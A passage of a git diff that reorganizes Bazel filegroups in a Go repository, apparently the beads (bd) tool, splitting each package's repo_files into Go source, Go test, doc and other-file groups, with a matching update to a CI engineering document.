"//internal/storage/memoryops:repo_go_test_srcs", + "//internal/storage/rowid:repo_go_test_srcs", + "//internal/storage/schema:repo_go_test_srcs", + "//internal/storage/sqlbuild:repo_go_test_srcs", + "//internal/storage/sqlclass:repo_go_test_srcs", + "//internal/storage/sqlcount:repo_go_test_srcs", + "//internal/storage/storagecontract:repo_go_test_srcs", + "//internal/storage/unsupportedgen:repo_go_test_srcs", + "//internal/storage/uow:repo_go_test_srcs", + "//internal/storage/versioncontrolops:repo_go_test_srcs", + "//internal/telemetry:repo_go_test_srcs", + "//internal/templates:repo_go_test_srcs", + "//internal/templates/agents:repo_go_test_srcs", + "//internal/testutil:repo_go_test_srcs", + "//internal/testutil/bazeltest:repo_go_test_srcs", + "//internal/testutil/credentialcmd:repo_go_test_srcs", + "//internal/testutil/fixtures:repo_go_test_srcs", + "//internal/testutil/integration:repo_go_test_srcs", + "//internal/timeparsing:repo_go_test_srcs", + "//internal/tracker:repo_go_test_srcs", + "//internal/tracker/conformance:repo_go_test_srcs", + "//internal/types:repo_go_test_srcs", + "//internal/ui:repo_go_test_srcs", + "//internal/uimd:repo_go_test_srcs", + "//internal/utils:repo_go_test_srcs", + "//internal/validation:repo_go_test_srcs", + "//internal/versioncheck:repo_go_test_srcs", + "//internal/workapi:repo_go_test_srcs", + "//internal/workapi/storecounter:repo_go_test_srcs", + "//internal/workapi/storequerier:repo_go_test_srcs", + "//internal/workapi/storereader:repo_go_test_srcs", + "//internal/workapi/storereadycounter:repo_go_test_srcs", + "//internal/workapi/storestats:repo_go_test_srcs", + "//internal/workapi/storeversionreconciler:repo_go_test_srcs", + "//internal/workapi/storeworkspaceconfig:repo_go_test_srcs", + "//internal/workspacegate:repo_go_test_srcs", + "//internal/worktreeremove:repo_go_test_srcs", + "//issueops:repo_go_test_srcs", + "//journalops:repo_go_test_srcs", + "//memoryops:repo_go_test_srcs", + "//platforms:repo_go_test_srcs", + "//plugins/beads:repo_go_test_srcs", + "//schema:repo_go_test_srcs", + "//scripts:repo_go_test_srcs", + "//scripts/bench-ready-indexes:repo_go_test_srcs", + "//scripts/check-versions:repo_go_test_srcs", + "//scripts/checkworkflowtags:repo_go_test_srcs", + "//scripts/gitattributespolicy:repo_go_test_srcs", + "//scripts/internal/testbash:repo_go_test_srcs", + "//scripts/migration-test/catalog:repo_go_test_srcs", + "//scripts/pr-lint:repo_go_test_srcs", + "//scripts/prlintmake:repo_go_test_srcs", + "//scripts/repochecks:repo_go_test_srcs", + "//scripts/repro-dolt-hang:repo_go_test_srcs", + "//scripts/repro-dolt-prod-timeouts:repo_go_test_srcs", + "//scripts/workflowtags:repo_go_test_srcs", + "//test/conformance:repo_go_test_srcs", + "//test/docsync:repo_go_test_srcs", + "//test/testmainconvention:repo_go_test_srcs", + "//tests/hook_timeout_backends:repo_go_test_srcs", + "//tests/migration:repo_go_test_srcs", + "//tests/regression:repo_go_test_srcs", + "//tests/upgrade_smoke:repo_go_test_srcs", + "//third_party/cc_toolchain:repo_go_test_srcs", + "//third_party/patches:repo_go_test_srcs", + "//tools/bazel:repo_go_test_srcs", + "//tools/docsmint:repo_go_test_srcs", + "//tools/nogo:repo_go_test_srcs", + "//tools/nogo/analyzers/depguard:repo_go_test_srcs", + "//tools/nogo/analyzers/errcheck:repo_go_test_srcs", + "//tools/nogo/analyzers/forbidigo:repo_go_test_srcs", + "//tools/nogo/analyzers/gosec:repo_go_test_srcs", + "//tools/nogo/analyzers/misspell:repo_go_test_srcs", + "//tools/nogo/analyzers/sloglint:repo_go_test_srcs", + "//tools/nogo/analyzers/unconvert:repo_go_test_srcs", + "//tools/nogo/analyzers/unparam:repo_go_test_srcs", + "//tools/nogo/internal/analyzertest:repo_go_test_srcs", + "//tools/nogo/internal/golangci:repo_go_test_srcs", + "//tools/nogo/internal/position:repo_go_test_srcs", + ], + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -251,178 +968,174 @@ filegroup( "user.bazelrc", ], ) + [ - "//backend:repo_files", - "//backend/conformance:repo_files", - "//beadserrors:repo_files", - "//cmd/bd:repo_files", - "//cmd/bd/doctor:repo_files", - "//cmd/bd/doctor/fix:repo_files", - "//cmd/bd/protocol:repo_files", - "//cmd/bd/setup:repo_files", - "//format:repo_files", - "//internal/ado:repo_files", - "//internal/atomicfile:repo_files", - "//internal/audit:repo_files", - "//internal/beads:repo_files", - "//internal/ceiling:repo_files", - "//internal/compact:repo_files", - "//internal/config:repo_files", - "//internal/configfile:repo_files", - "//internal/creds:repo_files", - "//internal/debug:repo_files", - "//internal/doltremote:repo_files", - "//internal/doltserver:repo_files", - "//internal/doltversion:repo_files", - "//internal/eventsjournal:repo_files", - "//internal/execenv:repo_files", - "//internal/fdhygiene:repo_files", - "//internal/formula:repo_files", - "//internal/formula/cmd/schemagen:repo_files", - "//internal/formula/schemagen:repo_files", - "//internal/git:repo_files", - "//internal/gitenv:repo_files", - "//internal/githooksenv:repo_files", - "//internal/github:repo_files", - "//internal/gitignore:repo_files", - "//internal/gitlab:repo_files", - "//internal/gittraceenv:repo_files", - "//internal/hooks:repo_files", - "//internal/httpapi:repo_files", - "//internal/httpapi/apigen:repo_files", - "//internal/httpapi/spec:repo_files", - "//internal/httpapi/wireshape:repo_files", - "//internal/httpapi/wireshape/cmd/gendigest:repo_files", - "//internal/httpclient:repo_files", - "//internal/httpclient/encode:repo_files", - "//internal/httpclient/wire:repo_files", - "//internal/idgen:repo_files", - "//internal/jira:repo_files", - "//internal/linear:repo_files", - "//internal/lockfile:repo_files", - "//internal/memoryapi:repo_files", - "//internal/metrics:repo_files", - "//internal/migration:repo_files", - "//internal/migration/legacysqlite:repo_files", - "//internal/molecules:repo_files", - "//internal/notion:repo_files", - "//internal/procid:repo_files", - "//internal/query:repo_files", - "//internal/recipes:repo_files", - "//internal/remotecache:repo_files", - "//internal/routing:repo_files", - "//internal/storage:repo_files", - "//internal/storage/backendnames:repo_files", - "//internal/storage/backends:repo_files", - "//internal/storage/batchbench:repo_files", - "//internal/storage/batchfixtures:repo_files", - "//internal/storage/contextinfo:repo_files", - "//internal/storage/createbatchequiv:repo_files", - "//internal/storage/dberrors:repo_files", - "//internal/storage/dbproxy/identity:repo_files", - "//internal/storage/dbproxy/pidfile:repo_files", - "//internal/storage/dbproxy/proxy:repo_files", - "//internal/storage/dbproxy/server:repo_files", - "//internal/storage/dbproxy/util:repo_files", - "//internal/storage/depid:repo_files", - "//internal/storage/dolt:repo_files", - "//internal/storage/doltutil:repo_files", - "//internal/storage/domain:repo_files", - "//internal/storage/domain/db:repo_files", - "//internal/storage/domain/fs:repo_files", - "//internal/storage/domain/git:repo_files", - "//internal/storage/embeddeddolt:repo_files", - "//internal/storage/embeddeddolt/cmd:repo_files", - "//internal/storage/externaldeps:repo_files", - "//internal/storage/fs:repo_files", - "//internal/storage/git:repo_files", - "//internal/storage/issueops:repo_files", - "//internal/storage/journalscan:repo_files", - "//internal/storage/kvkeys:repo_files", - "//internal/storage/memoryops:repo_files", - "//internal/storage/rowid:repo_files", - "//internal/storage/schema:repo_files", - "//internal/storage/sqlbuild:repo_files", - "//internal/storage/sqlclass:repo_files", - "//internal/storage/sqlcount:repo_files", - "//internal/storage/storagecontract:repo_files", - "//internal/storage/unsupportedgen:repo_files", - "//internal/storage/uow:repo_files", - "//internal/storage/versioncontrolops:repo_files", - "//internal/telemetry:repo_files", - "//internal/templates:repo_files", - "//internal/templates/agents:repo_files", - "//internal/testutil:repo_files", - "//internal/testutil/bazeltest:repo_files", - "//internal/testutil/credentialcmd:repo_files", - "//internal/testutil/fixtures:repo_files", - "//internal/testutil/integration:repo_files", - "//internal/timeparsing:repo_files", - "//internal/tracker:repo_files", - "//internal/tracker/conformance:repo_files", - "//internal/types:repo_files", - "//internal/ui:repo_files", - "//internal/uimd:repo_files", - "//internal/utils:repo_files", - "//internal/validation:repo_files", - "//internal/versioncheck:repo_files", - "//internal/workapi:repo_files", - "//internal/workapi/storecounter:repo_files", - "//internal/workapi/storequerier:repo_files", - "//internal/workapi/storereader:repo_files", - "//internal/workapi/storereadycounter:repo_files", - "//internal/workapi/storestats:repo_files", - "//internal/workapi/storeversionreconciler:repo_files", - "//internal/workapi/storeworkspaceconfig:repo_files", - "//internal/workspacegate:repo_files", - "//internal/worktreeremove:repo_files", - "//issueops:repo_files", - "//journalops:repo_files", - "//memoryops:repo_files", - "//platforms:repo_files", - "//plugins/beads:repo_files", - "//schema:repo_files", - "//scripts:repo_files", - "//scripts/bench-ready-indexes:repo_files", - "//scripts/check-versions:repo_files", - "//scripts/checkworkflowtags:repo_files", - "//scripts/gitattributespolicy:repo_files", - "//scripts/internal/testbash:repo_files", - "//scripts/migration-test/catalog:repo_files", - "//scripts/pr-lint:repo_files", - "//scripts/prlintmake:repo_files", - "//scripts/repochecks:repo_files", - "//scripts/repro-dolt-hang:repo_files", - "//scripts/repro-dolt-prod-timeouts:repo_files", - "//scripts/workflowtags:repo_files", - "//test/conformance:repo_files", - "//test/docsync:repo_files", - "//test/testmainconvention:repo_files", - "//tests/hook_timeout_backends:repo_files", - "//tests/migration:repo_files", - "//tests/regression:repo_files", - "//tests/upgrade_smoke:repo_files", - "//third_party/cc_toolchain:repo_files", - "//third_party/patches:repo_files", - "//tools/bazel:repo_files", - "//tools/docsmint:repo_files", - "//tools/nogo:repo_files", - "//tools/nogo/analyzers/depguard:repo_files", - "//tools/nogo/analyzers/errcheck:repo_files", - "//tools/nogo/analyzers/forbidigo:repo_files", - "//tools/nogo/analyzers/gosec:repo_files", - "//tools/nogo/analyzers/misspell:repo_files", - "//tools/nogo/analyzers/sloglint:repo_files", - "//tools/nogo/analyzers/unconvert:repo_files", - "//tools/nogo/analyzers/unparam:repo_files", - "//tools/nogo/internal/analyzertest:repo_files", - "//tools/nogo/internal/golangci:repo_files", - "//tools/nogo/internal/position:repo_files", - ], - visibility = [ - "//scripts:__pkg__", - "//scripts/repochecks:__pkg__", - "//test/docsync:__pkg__", + "//backend:repo_other_files", + "//backend/conformance:repo_other_files", + "//beadserrors:repo_other_files", + "//cmd/bd:repo_other_files", + "//cmd/bd/doctor:repo_other_files", + "//cmd/bd/doctor/fix:repo_other_files", + "//cmd/bd/protocol:repo_other_files", + "//cmd/bd/setup:repo_other_files", + "//format:repo_other_files", + "//internal/ado:repo_other_files", + "//internal/atomicfile:repo_other_files", + "//internal/audit:repo_other_files", + "//internal/beads:repo_other_files", + "//internal/ceiling:repo_other_files", + "//internal/compact:repo_other_files", + "//internal/config:repo_other_files", + "//internal/configfile:repo_other_files", + "//internal/creds:repo_other_files", + "//internal/debug:repo_other_files", + "//internal/doltremote:repo_other_files", + "//internal/doltserver:repo_other_files", + "//internal/doltversion:repo_other_files", + "//internal/eventsjournal:repo_other_files", + "//internal/execenv:repo_other_files", + "//internal/fdhygiene:repo_other_files", + "//internal/formula:repo_other_files", + "//internal/formula/cmd/schemagen:repo_other_files", + "//internal/formula/schemagen:repo_other_files", + "//internal/git:repo_other_files", + "//internal/gitenv:repo_other_files", + "//internal/githooksenv:repo_other_files", + "//internal/github:repo_other_files", + "//internal/gitignore:repo_other_files", + "//internal/gitlab:repo_other_files", + "//internal/gittraceenv:repo_other_files", + "//internal/hooks:repo_other_files", + "//internal/httpapi:repo_other_files", + "//internal/httpapi/apigen:repo_other_files", + "//internal/httpapi/spec:repo_other_files", + "//internal/httpapi/wireshape:repo_other_files", + "//internal/httpapi/wireshape/cmd/gendigest:repo_other_files", + "//internal/httpclient:repo_other_files", + "//internal/httpclient/encode:repo_other_files", + "//internal/httpclient/wire:repo_other_files", + "//internal/idgen:repo_other_files", + "//internal/jira:repo_other_files", + "//internal/linear:repo_other_files", + "//internal/lockfile:repo_other_files", + "//internal/memoryapi:repo_other_files", + "//internal/metrics:repo_other_files", + "//internal/migration:repo_other_files", + "//internal/migration/legacysqlite:repo_other_files", + "//internal/molecules:repo_other_files", + "//internal/notion:repo_other_files", + "//internal/procid:repo_other_files", + "//internal/query:repo_other_files", + "//internal/recipes:repo_other_files", + "//internal/remotecache:repo_other_files", + "//internal/routing:repo_other_files", + "//internal/storage:repo_other_files", + "//internal/storage/backendnames:repo_other_files", + "//internal/storage/backends:repo_other_files", + "//internal/storage/batchbench:repo_other_files", + "//internal/storage/batchfixtures:repo_other_files", + "//internal/storage/contextinfo:repo_other_files", + "//internal/storage/createbatchequiv:repo_other_files", + "//internal/storage/dberrors:repo_other_files", + "//internal/storage/dbproxy/identity:repo_other_files", + "//internal/storage/dbproxy/pidfile:repo_other_files", + "//internal/storage/dbproxy/proxy:repo_other_files", + "//internal/storage/dbproxy/server:repo_other_files", + "//internal/storage/dbproxy/util:repo_other_files", + "//internal/storage/depid:repo_other_files", + "//internal/storage/dolt:repo_other_files", + "//internal/storage/doltutil:repo_other_files", + "//internal/storage/domain:repo_other_files", + "//internal/storage/domain/db:repo_other_files", + "//internal/storage/domain/fs:repo_other_files", + "//internal/storage/domain/git:repo_other_files", + "//internal/storage/embeddeddolt:repo_other_files", + "//internal/storage/embeddeddolt/cmd:repo_other_files", + "//internal/storage/externaldeps:repo_other_files", + "//internal/storage/fs:repo_other_files", + "//internal/storage/git:repo_other_files", + "//internal/storage/issueops:repo_other_files", + "//internal/storage/journalscan:repo_other_files", + "//internal/storage/kvkeys:repo_other_files", + "//internal/storage/memoryops:repo_other_files", + "//internal/storage/rowid:repo_other_files", + "//internal/storage/schema:repo_other_files", + "//internal/storage/sqlbuild:repo_other_files", + "//internal/storage/sqlclass:repo_other_files", + "//internal/storage/sqlcount:repo_other_files", + "//internal/storage/storagecontract:repo_other_files", + "//internal/storage/unsupportedgen:repo_other_files", + "//internal/storage/uow:repo_other_files", + "//internal/storage/versioncontrolops:repo_other_files", + "//internal/telemetry:repo_other_files", + "//internal/templates:repo_other_files", + "//internal/templates/agents:repo_other_files", + "//internal/testutil:repo_other_files", + "//internal/testutil/bazeltest:repo_other_files", + "//internal/testutil/credentialcmd:repo_other_files", + "//internal/testutil/fixtures:repo_other_files", + "//internal/testutil/integration:repo_other_files", + "//internal/timeparsing:repo_other_files", + "//internal/tracker:repo_other_files", + "//internal/tracker/conformance:repo_other_files", + "//internal/types:repo_other_files", + "//internal/ui:repo_other_files", + "//internal/uimd:repo_other_files", + "//internal/utils:repo_other_files", + "//internal/validation:repo_other_files", + "//internal/versioncheck:repo_other_files", + "//internal/workapi:repo_other_files", + "//internal/workapi/storecounter:repo_other_files", + "//internal/workapi/storequerier:repo_other_files", + "//internal/workapi/storereader:repo_other_files", + "//internal/workapi/storereadycounter:repo_other_files", + "//internal/workapi/storestats:repo_other_files", + "//internal/workapi/storeversionreconciler:repo_other_files", + "//internal/workapi/storeworkspaceconfig:repo_other_files", + "//internal/workspacegate:repo_other_files", + "//internal/worktreeremove:repo_other_files", + "//issueops:repo_other_files", + "//journalops:repo_other_files", + "//memoryops:repo_other_files", + "//platforms:repo_other_files", + "//plugins/beads:repo_other_files", + "//schema:repo_other_files", + "//scripts:repo_other_files", + "//scripts/bench-ready-indexes:repo_other_files", + "//scripts/check-versions:repo_other_files", + "//scripts/checkworkflowtags:repo_other_files", + "//scripts/gitattributespolicy:repo_other_files", + "//scripts/internal/testbash:repo_other_files", + "//scripts/migration-test/catalog:repo_other_files", + "//scripts/pr-lint:repo_other_files", + "//scripts/prlintmake:repo_other_files", + "//scripts/repochecks:repo_other_files", + "//scripts/repro-dolt-hang:repo_other_files", + "//scripts/repro-dolt-prod-timeouts:repo_other_files", + "//scripts/workflowtags:repo_other_files", + "//test/conformance:repo_other_files", + "//test/docsync:repo_other_files", + "//test/testmainconvention:repo_other_files", + "//tests/hook_timeout_backends:repo_other_files", + "//tests/migration:repo_other_files", + "//tests/regression:repo_other_files", + "//tests/upgrade_smoke:repo_other_files", + "//third_party/cc_toolchain:repo_other_files", + "//third_party/patches:repo_other_files", + "//tools/bazel:repo_other_files", + "//tools/docsmint:repo_other_files", + "//tools/nogo:repo_other_files", + "//tools/nogo/analyzers/depguard:repo_other_files", + "//tools/nogo/analyzers/errcheck:repo_other_files", + "//tools/nogo/analyzers/forbidigo:repo_other_files", + "//tools/nogo/analyzers/gosec:repo_other_files", + "//tools/nogo/analyzers/misspell:repo_other_files", + "//tools/nogo/analyzers/sloglint:repo_other_files", + "//tools/nogo/analyzers/unconvert:repo_other_files", + "//tools/nogo/analyzers/unparam:repo_other_files", + "//tools/nogo/internal/analyzertest:repo_other_files", + "//tools/nogo/internal/golangci:repo_other_files", + "//tools/nogo/internal/position:repo_other_files", ], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/MODULE.bazel b/MODULE.bazel index 4daf1ae58..5fb24db7e 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -289,7 +289,7 @@ dolt_release( version = "2.1.8", ) -# The tracked release formula, for //scripts:scripts_test and the +# The tracked release formula, for //scripts:shell_scripts_test and the # whole-checkout guard //scripts/repochecks:go_install_guidance_test. .beads/ # also holds live bd data and is in .bazelignore, so no main-repo target can # declare the formula; this local repository exposes only .beads/formulas. diff --git a/backend/BUILD.bazel b/backend/BUILD.bazel index efaf0d7b9..912285a3e 100644 --- a/backend/BUILD.bazel +++ b/backend/BUILD.bazel @@ -47,12 +47,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -61,7 +100,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index 3ff778c49..1f9632e79 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -115,12 +115,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -129,7 +168,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/beadserrors/BUILD.bazel b/beadserrors/BUILD.bazel index 51c339a62..42563e971 100644 --- a/beadserrors/BUILD.bazel +++ b/beadserrors/BUILD.bazel @@ -23,12 +23,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 5964f512a..f220e60a9 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1611,6 +1611,20 @@ sh_test( tags = ["dolt-server-cmd"], ) +# Source files the docs and agent instructions link to by path, which +# //test/docsync checks resolve. +exports_files( + [ + "capability_registry.go", + "doctor.go", + "init_safety_help.go", + "label.go", + "main.go", + "state.go", + ], + visibility = ["//test/docsync:__pkg__"], +) + # CLI flag registrations pinned by //internal/httpapi spec parity tests. exports_files( [ @@ -1648,12 +1662,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -1662,7 +1715,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/doctor/BUILD.bazel b/cmd/bd/doctor/BUILD.bazel index cfd8abbdb..2187b5e1f 100644 --- a/cmd/bd/doctor/BUILD.bazel +++ b/cmd/bd/doctor/BUILD.bazel @@ -191,12 +191,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -205,7 +244,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index af5e6d02b..fd7245c04 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -142,12 +142,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -156,7 +195,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index 04a4c35b6..76c1694b2 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -109,12 +109,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -123,7 +162,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/setup/BUILD.bazel b/cmd/bd/setup/BUILD.bazel index c95870119..1ab24afee 100644 --- a/cmd/bd/setup/BUILD.bazel +++ b/cmd/bd/setup/BUILD.bazel @@ -64,12 +64,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -78,7 +117,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index fd3f54f72..09ebaa67f 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -919,11 +919,16 @@ Required` requires them to have run remotely and passed. (`PR Lint (native|windows|darwin)`) jobs are retired. - The repository policy tests (`./scripts/...`, including the D2 guards) and the tests that walk the checkout run only under Bazel, remotely: - `//scripts:scripts_test` and `//test/docsync:docsync_test` take - `//:repo_files` as data, the checkout as Bazel sees it (every tracked - file outside `.bazelignore`, aggregated from the `repo_files` block - `tools/bazel/go_srcs.py` keeps in every package; the BUILD sync step's - `make bazel-sync-check` fails on a package without it). The release + the `//scripts` go_tests and `//test/docsync:docsync_test`, each over + the part of the checkout it reads. `tools/bazel/go_srcs.py` keeps a + `repo_files` block in every package that partitions its files into + `repo_go_srcs`, `repo_go_test_srcs`, `repo_doc_files` and + `repo_other_files`, aggregated at the root; their union `//:repo_files` + is every tracked file outside `.bazelignore`, which only + `//scripts:tracked_files_test` and two repository guards read (the + BUILD sync step's `make bazel-sync-check` fails on a package without + the block). So a Go-only change re-runs no workflow policy test, and a + docs-only or workflow-only change no Go-source scan. The release formula under `.bazelignore`d `.beads/` comes in as `@beads_formulas`. Their former `go test` legs (`Go checks (scripts-test)` and `Go checks (allowlisted)`) are gone. @@ -1176,7 +1181,7 @@ changes. They gate through `BAZEL_TEST`; pinned by | fast-checks: migration hygiene checks A and B | `//scripts/repochecks:migration_hygiene_test` (`MIGRATION_HYGIENE_SCOPE=tree`) | | fast-checks: `make fmt-check` | `//scripts/repochecks:fmt_test` (the registered SDK's gofmt) | | PR Policy: `checkworkflowtags` | `//scripts/repochecks:workflow_tags_test` | -| PR Policy: `check-testing-short.sh` | `//scripts:scripts_test` 